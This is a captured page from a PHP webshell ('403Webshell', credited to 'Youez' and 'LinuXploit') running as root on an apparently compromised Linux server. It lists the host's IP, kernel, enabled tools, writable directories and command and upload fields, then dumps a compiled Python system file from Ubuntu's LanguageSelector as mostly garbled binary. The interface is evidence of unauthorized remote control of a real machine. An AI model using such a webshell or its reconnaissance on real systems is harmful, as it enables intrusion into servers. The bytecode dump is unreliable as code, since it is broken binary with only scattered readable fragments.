403Webshell
Server IP : 39.108.156.168  /  Your IP : 216.73.216.104
Web Server : nginx/1.24.0
System : Linux e2.ksyuki.com 6.11.0-25-generic #25~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 15 17:20:50 UTC 2 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/LanguageSelector/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/LanguageSelector/__pycache__/utils.cpython-312.pyc
�

k�!f���,�ddlZddlZddlZ	dd�Zd�Zy)�Nc���|D�]T}tjdtjj	|���}d}tjj|�r�tj|tj�rnt|�5}|D]T}	|	j�}
|r|
j|�rd}|}	|s	|
|k(rd}|}	|j|	jd���V	ddd�|s"|r |j|jd��|j�tj|j|�tj |d���Wy#1swY�wxYw)zY find all strings that startswith findString and replace them with
        setString
    F)�delete�dirTzUTF-8Ni�)�tempfile�NamedTemporaryFile�os�path�dirname�exists�access�R_OK�open�strip�
startswith�write�encode�flush�rename�name�chmod)�
findString�	setString�	file_listr�append�fname�out�foundString�f�line�tmps           �8/usr/lib/python3/dist-packages/LanguageSelector/utils.py�find_string_and_replacer"s��
����)�)��.0�g�g�o�o�e�.D�F�����G�G�N�N�5�!��I�I�e�R�W�W�%��e��	
4���4�D��*�*�,�C�!�c�n�n�Z�&@�&*��(��%�#��*;�&*��(���I�I�d�k�k�'�2�3�4�	
4��v��I�I�i�&�&�w�/�0��	�	��
�	�	�#�(�(�E�"�
������/�	
4�	
4�s
�AE�E%	c�|�|jd�d}tjd|gd��}|j�S)z9 generate locale name for LC_* environment variables
    �:rz)/usr/share/language-tools/language2localeT)�universal_newlines)�split�
subprocess�check_output�rstrip)�language�
first_elem�locales   r!�language2localer-)s@������$�Q�'�J�
�
$�
$�	4�j�A��!�F��=�=�?��)TT)rr'rr"r-�r.r!�<module>r0s��
���59��<r.

Youez - 2016 - github.com/yon3zu
LinuXploit